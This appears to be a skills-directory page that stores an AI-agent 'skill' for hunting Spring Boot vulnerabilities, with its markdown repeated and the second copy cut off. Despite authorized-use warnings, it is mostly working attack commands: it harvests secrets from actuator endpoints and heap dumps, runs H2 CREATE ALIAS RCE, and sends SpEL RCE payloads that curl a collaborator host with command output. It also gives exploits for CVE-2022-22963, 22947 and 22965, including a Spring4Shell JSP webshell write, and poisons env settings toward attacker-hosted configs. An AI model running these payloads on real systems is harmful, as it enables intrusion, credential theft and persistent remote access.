[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6F7K96V0ZRWAS8JERSB5FTY":3,"skill-same:01M6F7K96V0ZRWAS8JERSB5FTY":75},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":29,"commitSha":55,"skillDirectory":56,"forksCount":57,"repositoryHtmlUrl":58,"repositoryHomepageUrl":6,"ownerHtmlUrl":59,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":60,"install":61,"resources":74},"01M6F7K96V0ZRWAS8JERSB5FTY","hunt-springboot",null,"Hunt Spring Boot specific vulnerabilities","boisenoise\u002Fskills-collections","boisenoise","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F193180?v=4","01M6CDBDQK6BDN55ZMA6B6PKBM","01M6CDBDVSJ3JPTBYN26FZ7TZK",13,"MIT","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-springboot\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"hunt springboot","hunt","only","2026","for","relevant","helper","offensive","scripts","scope","commands","main","community","testing","spring","Tools","cve","https","spring boot","license","database","boot","testing tools","security","github","2026-11-10 10:12:30",false,"---\nname: hunt-springboot\ndescription: Hunt Spring Boot specific vulnerabilities\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, cve_database, spring_security_advisories\nreport_count: 16\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities\n\nEndpoint availability, sanitization and CVE impact depend on exact versions\u002Fconfiguration; upstream report_count and severity labels are not verified evidence. A matching banner, JSON content type or arithmetic result alone does not prove Spring-specific exploitation. Use the [Spring4Shell advisory](https:\u002F\u002Fspring.io\u002Fsecurity\u002Fcve-2022-22965\u002F) for required components and fixed versions.\n\nHeap dumps can expose extensive personal data and strain availability: omit heapdump from generic enumeration and obtain a separate bounded evidence plan before capture. Do not print secrets or use recovered credentials. Route\u002Fenv writes, refresh, shutdown and webshell persistence require separate exact-action authorization and cleanup plans in a disposable test environment.\n\n## Crown Jewel Targets\n\nAn unintentionally accessible heap dump can disclose sensitive live-memory data, but contents and impact must be established rather than assumed.\n\n**Highest-value findings:**\n- **`\u002Factuator\u002Fheapdump`** — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory\n- **`\u002Factuator\u002Fenv`** — lists all environment variables and Spring properties including secrets\n- **`\u002Factuator\u002Fshutdown`** — POST → shuts down the application (Critical availability impact)\n- **H2 Console (`\u002Fh2-console`)** — in-memory DB admin UI → SQL query execution → potential RCE via `CREATE ALIAS` trick\n- **SpEL injection** — Spring Expression Language in template fields, `@Value` annotations, SpEL-processed request params → RCE\n- **Spring4Shell CVE-2022-22965** — Spring Framework \u003C 5.3.18 + Tomcat → RCE via data binding\n\n---\n\n## Phase 1 — Fingerprint Spring Boot\n\n```bash\n# Spring Boot indicators\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-application-context\\|x-content-type\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnonexistent\" | grep -i \"Whitelabel Error Page\\|Spring Boot\\|org.springframework\"\n\n# Actuator root (may list available endpoints)\ncurl -s \"https:\u002F\u002F$TARGET\u002Factuator\" | python3 -m json.tool 2>\u002Fdev\u002Fnull\ncurl -s \"https:\u002F\u002F$TARGET\u002Factuator\u002F\" | python3 -m json.tool 2>\u002Fdev\u002Fnull\n\n# Try common base paths\nfor base in \"\" \"\u002Fmanage\" \"\u002Fmanagement\" \"\u002Fapp\"; do\n  STATUS=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002F$TARGET$base\u002Factuator\")\n  [ \"$STATUS\" = \"200\" ] && echo \"[+] Actuator at: $TARGET$base\u002Factuator\"\ndone\n```\n\n---\n\n## Phase 2 — Actuator Endpoint Enumeration\n\n```bash\nBASE=\"https:\u002F\u002F$TARGET\u002Factuator\"\n\n# High-impact endpoints\nENDPOINTS=(\"env\" \"threaddump\" \"mappings\" \"beans\" \"metrics\"\n           \"loggers\" \"info\" \"health\" \"configprops\" \"shutdown\" \"trace\"\n           \"httptrace\" \"auditevents\" \"sessions\" \"scheduledtasks\" \"caches\"\n           \"flyway\" \"liquibase\" \"refresh\" \"restart\")\n\nfor EP in \"${ENDPOINTS[@]}\"; do\n  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel\u002Flogin\n  # page for many paths. Require actuator-shaped JSON (or a heapdump body)\n  # before calling it EXPOSED.\n  BODY=$(curl -s -H \"Accept: application\u002Fjson\" \"$BASE\u002F$EP\")\n  CT=$(curl -s -o \u002Fdev\u002Fnull -w \"%{content_type}\" -H \"Accept: application\u002Fjson\" \"$BASE\u002F$EP\")\n  if echo \"$CT\" | grep -qi \"json\" && ! echo \"$BODY\" | grep -qi \"Whitelabel Error Page\\|\u003Chtml\"; then\n    echo \"[?] Candidate JSON endpoint: $BASE\u002F$EP (validate status\u002Fschema and intended access)\"\n  fi\ndone\n\n# Get environment variables (passwords, API keys)\ncurl -s \"$BASE\u002Fenv\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -i \"password\\|secret\\|key\\|token\\|credential\" | head -20\n\n# Get all endpoint mappings (full API surface)\ncurl -s \"$BASE\u002Fmappings\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -oP '\"pattern\":\"\\K[^\"]+' | sort\n\n# Get Spring beans (lists all registered beans, reveals internal architecture)\ncurl -s \"$BASE\u002Fbeans\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -100\n```\n\n---\n\n## Phase 3 — Heap Dump Analysis\n\n```bash\n# Download heap dump (can be large — 100MB+)\ncurl -s \"$BASE\u002Fheapdump\" -o \u002Ftmp\u002Fheapdump.hprof\nls -lh \u002Ftmp\u002Fheapdump.hprof\n\n# Quick grep for secrets in heap dump (binary file — use strings)\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -iE \"(password|secret|apikey|api_key|token|bearer|private_key)\" | \\\n  grep -v \"^[a-z_]\" | sort -u | head -50\n\n# More targeted extraction\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -oP \"(?:password|passwd|pwd)\\s*[=:]\\s*\\S+\" | sort -u | head -20\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -oP \"AKIA[A-Z0-9]{16}\" | sort -u        # AWS keys\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -oP \"sk_live_[A-Za-z0-9]+\" | sort -u     # Stripe keys\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -oP \"Bearer [A-Za-z0-9._-]+\" | sort -u   # Bearer tokens\n\n# Use Eclipse Memory Analyzer (MAT) for deep analysis\n# https:\u002F\u002Fwww.eclipse.org\u002Fmat\u002F\n```\n\n---\n\n## Phase 4 — H2 Console RCE\n\n```bash\n# H2 console detection\ncurl -s \"https:\u002F\u002F$TARGET\u002Fh2-console\" | grep -i \"H2 Console\\|H2 Database\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fh2\" | grep -i \"H2 Console\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fconsole\" | grep -i \"H2\"\n\n# Default credentials: sa \u002F (empty password)\n# JDBC URL: jdbc:h2:mem:testdb\n\n# If accessible, RCE via CREATE ALIAS:\n# SQL to execute:\n# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {\n#   Runtime rt = Runtime.getRuntime();\n#   String[] commands = {\"sh\",\"-c\",cmd};\n#   Process proc = rt.exec(commands);\n#   return new String(proc.getInputStream().readAllBytes());\n# } $$;\n# CALL EXEC('id');\n```\n\n---\n\n## Phase 5 — SpEL Injection\n\n```bash\n# Spring Expression Language injection in user-controlled fields\n# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated\n\n# Common injection points:\n# - Email template fields: \"Hello ${name}\"\n# - Custom annotation @Value(\"${user.input}\")\n# - Spring Security expressions\n# - Spring WebFlow\n\n# Basic SpEL test\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fapi\u002Fuser\u002Fname\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\": \"#{7*7}\"}'\n# A controlled evaluation result is an indicator; identify the actual expression engine and context.\n\n# RCE payload — note: exec() returns a Process, not a String, so a bare\n# exec(\"id\") produces NO visible output. Confirm via an OOB curl callback\n# (the spawned curl makes the network request even though nothing is reflected):\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fapi\u002Fuser\u002Fname\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\": \"#{T(java.lang.Runtime).getRuntime().exec(new String[]{\\\"sh\\\",\\\"-c\\\",\\\"curl COLLAB_HOST\u002Fspel-$(id|base64)\\\"})}\"}'\n\n# CVE-2022-22963 — Spring Cloud Function SpEL\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002FfunctionRouter\" \\\n  -H \"spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\\\"curl COLLAB_HOST\u002Fspel-rce\\\")\" \\\n  -d \"test\"\n```\n\n---\n\n## Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)\nIf the `gateway` actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):\n```bash\ncurl -s -X POST \"$BASE\u002Fgateway\u002Froutes\u002Fhax\" -H \"Content-Type: application\u002Fjson\" \\\n -d '{\"id\":\"hax\",\"filters\":[{\"name\":\"AddResponseHeader\",\"args\":{\"name\":\"X\",\"value\":\"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \\\"id\\\" })}\"}}],\"uri\":\"http:\u002F\u002Fx\"}'\ncurl -s -X POST \"$BASE\u002Fgateway\u002Frefresh\"; curl -s \"$BASE\u002Fgateway\u002Froutes\"\n```\n\n## Phase 5c — Writable `\u002Fenv` -> `\u002Frefresh` gadget RCE\nWhen `\u002Factuator\u002Fenv` accepts POST and `\u002Factuator\u002Frefresh` exists, poison a property then reload:\n```bash\n# logback JNDI:\ncurl -s -X POST \"$BASE\u002Fenv\" -H \"Content-Type: application\u002Fjson\" -d '{\"name\":\"logging.config\",\"value\":\"http:\u002F\u002F$COLLAB\u002Flogback.xml\"}'\n# Eureka XStream deserialization:\ncurl -s -X POST \"$BASE\u002Fenv\" -H \"Content-Type: application\u002Fjson\" -d '{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http:\u002F\u002F$COLLAB\u002Fx\"}'\ncurl -s -X POST \"$BASE\u002Frefresh\"\n```\n(Veracode: Exploiting Spring Boot Actuators.)\n\n## Phase 6 — Spring4Shell (CVE-2022-22965)\n\n```bash\n# Affects: Spring Framework \u003C 5.3.18 and \u003C 5.2.20 (and all older branches);\n# fixed in 5.3.18 \u002F 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.\n# Requires: Java 9+, Tomcat as WAR deployment\n\n# Detection: does the app accept class.* parameters?\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fuser\" \\\n  -d \"class.module.classLoader.URLs[0]=jar:http:\u002F\u002FCOLLAB_HOST\u002Ftest.jar!\u002F\"\n# Check COLLAB for HTTP callback\n\n# Exploitation: write webshell via class loader\ncurl -s \"https:\u002F\u002F$TARGET\u002Flogin\" \\\n  --data-raw \"username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=\"\n```\n\n---\n\n## Phase 7 — Jolokia JMX Exposure\n\n```bash\n# Jolokia provides HTTP access to JMX MBeans\ncurl -s \"https:\u002F\u002F$TARGET\u002Fjolokia\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -20\ncurl -s \"https:\u002F\u002F$TARGET\u002Factuator\u002Fjolokia\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -20\n\n# List all MBeans\ncurl -s \"https:\u002F\u002F$TARGET\u002Fjolokia\u002Flist\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -i \"type\\|operation\" | head -30\n\n# Read system properties via Jolokia (may expose credentials)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fjolokia\u002Fread\u002Fjava.lang:type=Runtime\u002FSystemProperties\" | \\\n  python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -i \"password\\|secret\\|key\"\n\n# Exec MBean operations (potential RCE via MLet)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fjolokia\u002Fexec\u002Fcom.sun.management:type=DiagnosticCommand\u002FcompilerDirectivesAdd\u002F!\u002Ftmp\u002Fevil\"\n```\n\n---\n\n## Chain Table\n\n| Spring Boot finding | Chain to | Impact |\n|--------------------|----------|--------|\n| `\u002Factuator\u002Fheapdump` | Extract DB passwords, API keys from memory | Critical credential exfil |\n| `\u002Factuator\u002Fenv` | Read all env vars including secrets | High |\n| H2 console accessible | CREATE ALIAS → RCE | Critical |\n| SpEL injection | `T(Runtime).exec()` → OS command | Critical RCE |\n| Spring4Shell | Write webshell → RCE | Critical |\n| Jolokia + MLet | Remote code via MBean | Critical RCE |\n\n---\n\n## Validation\n\n✅ Heap dump: strings command extracts readable passwords\u002Ftokens from .hprof file\n✅ Actuator\u002Fenv: secrets visible in JSON response\n✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received\n✅ H2 console: SQL executed, `id` output returned\n\n**Severity:**\n- Heapdump with credentials: Critical\n- SpEL RCE: Critical\n- H2 console RCE: Critical\n- Actuator env (passwords exposed): High\n- Mappings disclosure only: Low-Medium\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities\n\nEndpoint availability, sanitization and CVE impact depend on exact versions\u002Fconfiguration; upstream report_count and severity labels are not verified evidence. A matching banner, JSON content type or arithmetic result alone does not prove Spring-specific exploitation. Use the [Spring4Shell advisory](https:\u002F\u002Fspring.io\u002Fsecurity\u002Fcve-2022-22965\u002F) for required components and fixed versions.\n\nHeap dumps can expose extensive personal data and strain availability: omit heapdump from generic enumeration and obtain a separate bounded evidence plan before capture. Do not print secrets or use recovered credentials. Route\u002Fenv writes, refresh, shutdown and webshell persistence require separate exact-action authorization and cleanup plans in a disposable test environment.\n\n## Crown Jewel Targets\n\nAn unintentionally accessible heap dump can disclose sensitive live-memory data, but contents and impact must be established rather than assumed.\n\n**Highest-value findings:**\n- **`\u002Factuator\u002Fheapdump`** — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory\n- **`\u002Factuator\u002Fenv`** — lists all environment variables and Spring properties including secrets\n- **`\u002Factuator\u002Fshutdown`** — POST → shuts down the application (Critical availability impact)\n- **H2 Console (`\u002Fh2-console`)** — in-memory DB admin UI → SQL query execution → potential RCE via `CREATE ALIAS` trick\n- **SpEL injection** — Spring Expression Language in template fields, `@Value` annotations, SpEL-processed request params → RCE\n- **Spring4Shell CVE-2022-22965** — Spring Framework \u003C 5.3.18 + Tomcat → RCE via data binding\n\n---\n\n## Phase 1 — Fingerprint Spring Boot\n\n```bash\n# Spring Boot indicators\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-application-context\\|x-content-type\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnonexistent\" | grep -i \"Whitelabel Error Page\\|Spring Boot\\|org.springframework\"\n\n# Actuator root (may list available endpoints)\ncurl -s \"https:\u002F\u002F$TARGET\u002Factuator\" | python3 -m json.tool 2>\u002Fdev\u002Fnull\ncurl -s \"https:\u002F\u002F$TARGET\u002Factuator\u002F\" | python3 -m json.tool 2>\u002Fdev\u002Fnull\n\n# Try common base paths\nfor base in \"\" \"\u002Fmanage\" \"\u002Fmanagement\" \"\u002Fapp\"; do\n  STATUS=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002F$TARGET$base\u002Factuator\")\n  [ \"$STATUS\" = \"200\" ] && echo \"[+] Actuator at: $TARGET$base\u002Factuator\"\ndone\n```\n\n---\n\n## Phase 2 — Actuator Endpoint Enumeration\n\n```bash\nBASE=\"https:\u002F\u002F$TARGET\u002Factuator\"\n\n# High-impact endpoints\nENDPOINTS=(\"env\" \"threaddump\" \"mappings\" \"beans\" \"metrics\"\n           \"loggers\" \"info\" \"health\" \"configprops\" \"shutdown\" \"trace\"\n           \"httptrace\" \"auditevents\" \"sessions\" \"scheduledtasks\" \"caches\"\n           \"flyway\" \"liquibase\" \"refresh\" \"restart\")\n\nfor EP in \"${ENDPOINTS[@]}\"; do\n  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel\u002Flogin\n  # page for many paths. Require actuator-shaped JSON (or a heapdump body)\n  # before calling it EXPOSED.\n  BODY=$(curl -s -H \"Accept: application\u002Fjson\" \"$BASE\u002F$EP\")\n  CT=$(curl -s -o \u002Fdev\u002Fnull -w \"%{content_type}\" -H \"Accept: application\u002Fjson\" \"$BASE\u002F$EP\")\n  if echo \"$CT\" | grep -qi \"json\" && ! echo \"$BODY\" | grep -qi \"Whitelabel Error Page\\|\u003Chtml\"; then\n    echo \"[?] Candidate JSON endpoint: $BASE\u002F$EP (validate status\u002Fschema and intended access)\"\n  fi\ndone\n\n# Get environment variables (passwords, API keys)\ncurl -s \"$BASE\u002Fenv\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -i \"password\\|secret\\|key\\|token\\|credential\" | head -20\n\n# Get all endpoint mappings (full API surface)\ncurl -s \"$BASE\u002Fmappings\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -oP '\"pattern\":\"\\K[^\"]+' | sort\n\n# Get Spring beans (lists all registered beans, reveals internal architecture)\ncurl -s \"$BASE\u002Fbeans\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -100\n```\n\n---\n\n## Phase 3 — Heap Dump Analysis\n\n```bash\n# Download heap dump (can be large — 100MB+)\ncurl -s \"$BASE\u002Fheapdump\" -o \u002Ftmp\u002Fheapdump.hprof\nls -lh \u002Ftmp\u002Fheapdump.hprof\n\n# Quick grep for secrets in heap dump (binary file — use strings)\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -iE \"(password|secret|apikey|api_key|token|bearer|private_key)\" | \\\n  grep -v \"^[a-z_]\" | sort -u | head -50\n\n# More targeted extraction\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -oP \"(?:password|passwd|pwd)\\s*[=:]\\s*\\S+\" | sort -u | head -20\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -oP \"AKIA[A-Z0-9]{16}\" | sort -u        # AWS keys\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -oP \"sk_live_[A-Za-z0-9]+\" | sort -u     # Stripe keys\nstrings \u002Ftmp\u002Fheapdump.hprof | grep -oP \"Bearer [A-Za-z0-9._-]+\" | sort -u   # Bearer tokens\n\n# Use Eclipse Memory Analyzer (MAT) for deep analysis\n# https:\u002F\u002Fwww.eclipse.org\u002Fmat\u002F\n```\n\n---\n\n## Phase 4 — H2 Console RCE\n\n```bash\n# H2 console detection\ncurl -s \"https:\u002F\u002F$TARGET\u002Fh2-console\" | grep -i \"H2 Console\\|H2 Database\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fh2\" | grep -i \"H2 Console\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fconsole\" | grep -i \"H2\"\n\n# Default credentials: sa \u002F (empty password)\n# JDBC URL: jdbc:h2:mem:testdb\n\n# If accessible, RCE via CREATE ALIAS:\n# SQL to execute:\n# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {\n#   Runtime rt = Runtime.getRuntime();\n#   String[] commands = {\"sh\",\"-c\",cmd};\n#   Process proc = rt.exec(commands);\n#   return new String(proc.getInputStream().readAllBytes());\n# } $$;\n# CALL EXEC('id');\n```\n\n---\n\n## Phase 5 — SpEL Injection\n\n```bash\n# Spring Expression Language injection in user-controlled fields\n# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated\n\n# Common injection points:\n# - Email template fields: \"Hello ${name}\"\n# - Custom annotation @Value(\"${user.input}\")\n# - Spring Security expressions\n# - Spring WebFlow\n\n# Basic SpEL test\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fapi\u002Fuser\u002Fname\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\": \"#{7*7}\"}'\n# A controlled evaluation result is an indicator; identify the actual expression engine and context.\n\n# RCE payload — note: exec() returns a Process, not a String, so a bare\n# exec(\"id\") produces NO visible output. Confirm via an OOB curl callback\n# (the spawned curl makes the network request even though nothing is reflected):\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fapi\u002Fuser\u002Fname\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\": \"#{T(java.lang.Runtime).getRuntime().exec(new String[]{\\\"sh\\\",\\\"-c\\\",\\\"curl COLLAB_HOST\u002Fspel-$(id|base64)\\\"})}\"}'\n\n# CVE-2022-22963 — Spring Cloud Function SpEL\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002FfunctionRouter\" \\\n  -H \"spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\\\"curl COLLAB_HOST\u002Fspel-rce\\\")\" \\\n  -d \"test\"\n```\n\n---\n\n## Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)\nIf the `gateway` actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):\n```bash\ncurl -s -X POST \"$BASE\u002Fgateway\u002Froutes\u002Fhax\" -H \"Content-Type: application\u002Fjson\" \\\n -d '{\"id\":\"hax\",\"filters\":[{\"name\":\"AddResponseHeader\",\"args\":{\"name\":\"X\",\"value\":\"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \\\"id\\\" })}\"}}],\"uri\":\"http:\u002F\u002Fx\"}'\ncurl -s -X POST \"$BASE\u002Fgateway\u002Frefresh\"; curl -s \"$BASE\u002Fgateway\u002Froutes\"\n```\n\n## Phase 5c — Writable `\u002Fenv` -> `\u002Frefresh` gadget RCE\nWhen `\u002Factuator\u002Fenv` accepts POST and `\u002Factuator\u002Frefresh` exists, poison a property then reload:\n```bash\n# logback JNDI:\ncurl -s -X POST \"$BASE\u002Fenv\" -H \"Content-Type: application\u002Fjson\" -d '{\"name\":\"logging.config\",\"value\":\"http:\u002F\u002F$COLLAB\u002Flogback.xml\"}'\n# Eureka XStream deserialization:\ncurl -s -X POST \"$BASE\u002Fenv\" -H \"Content-Type: application\u002Fjson\" -d '{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http:\u002F\u002F$COLLAB\u002Fx\"}'\ncurl -s -X POST \"$BASE\u002Frefresh\"\n```\n(Veracode: Exploiting Spring Boot Actuators.)\n\n## Phase 6 — Spring4Shell (CVE-2022-22965)\n\n```bash\n# Affects: Spring Framework \u003C 5.3.18 and \u003C 5.2.20 (and all older branches);\n# fixed in 5.3.18 \u002F 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.\n# Requires: Java 9+, Tomcat as WAR deployment\n\n# Detection: does the app accept class.* parameters?\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Fuser\" \\\n  -d \"class.module.classLoader.URLs[0]=jar:http:\u002F\u002FCOLLAB_HOST\u002Ftest.jar!\u002F\"\n# Check COLLAB for HTTP callback\n\n# Exploitation: write webshell via class loader\ncurl -s \"https:\u002F\u002F$TARGET\u002Flogin\" \\\n  --data-raw \"username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=\"\n```\n\n---\n\n## Phase 7 — Jolokia JMX Exposure\n\n```bash\n# Jolokia provides HTTP access to JMX MBeans\ncurl -s \"https:\u002F\u002F$TARGET\u002Fjolokia\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -20\ncurl -s \"https:\u002F\u002F$TARGET\u002Factuator\u002Fjolokia\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -20\n\n# List all MBeans\ncurl -s \"https:\u002F\u002F$TARGET\u002Fjolokia\u002Flist\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -i \"type\\|operation\" | head -30\n\n# Read system properties via Jolokia (may expose credentials)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fjolokia\u002Fread\u002Fjava.lang:type=Runtime\u002FSystemProperties\" | \\\n  python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -i \"password\\|secret\\|key\"\n\n# Exec MBean operations (potential RCE via MLet)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fjolokia\u002Fexec\u002Fcom.sun.management:type=DiagnosticCommand\u002FcompilerDirectivesAdd\u002F!\u002Ftmp\u002Fevil\"\n```\n\n---\n\n## Chain Table\n\n| Spring Boot finding | Chain to | Impact |\n|--------------------|----------|--------|\n| `\u002Factuator\u002Fheapdump` | Extract DB passwords, API keys from memory | Critical credential exfil |\n| `\u002Factuator\u002Fenv` | Read all env vars including secrets | High |\n| H2 console accessible | CREATE ALIAS → RCE | Critical |\n| SpEL injection | `T(Runtime).exec()` → OS command | Critical RCE |\n| Spring4Shell | Write webshell → RCE | Critical |\n| Jolokia + MLet | Remote code via MBean | Critical RCE |\n\n---\n\n## Validation\n\n✅ Heap dump: strings command extracts readable passwords\u002Ftokens from .hprof file\n✅ Actuator\u002Fenv: secrets visible in JSON response\n✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received\n✅ H2 console: SQL executed, `id` output returned\n\n**Severity:**\n- Heapdump with credentials: 